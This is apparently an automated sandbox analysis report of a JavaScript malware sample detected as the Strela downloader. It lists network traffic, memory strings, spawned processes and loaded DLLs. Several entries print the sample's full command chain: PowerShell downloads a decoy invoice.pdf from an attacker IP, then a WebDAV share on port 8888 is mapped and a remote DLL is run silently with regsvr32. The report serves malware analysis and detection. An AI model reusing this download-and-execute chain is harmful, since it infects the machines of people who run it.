HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1792866583.000001965CC03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1841261363.00000183ABB28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1841261363.00000183ABB5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: svchost.exe, 00000008.00000002.3084992094.000002BDBB800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1854042750.000002BDBBA18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1854042750.000002BDBBA18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1854042750.000002BDBBA18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1854042750.000002BDBBA4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1854042750.000002BDBBAC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1854042750.000002BDBBAC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1854042750.000002BDBBAC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6648, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 14957144702878221204.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5928:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_btxlqypj.5ou.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\14957144702878221204.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1744,i,261901375073737504,10068128967198014578,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\74971460628132.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1744,i,261901375073737504,10068128967198014578,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
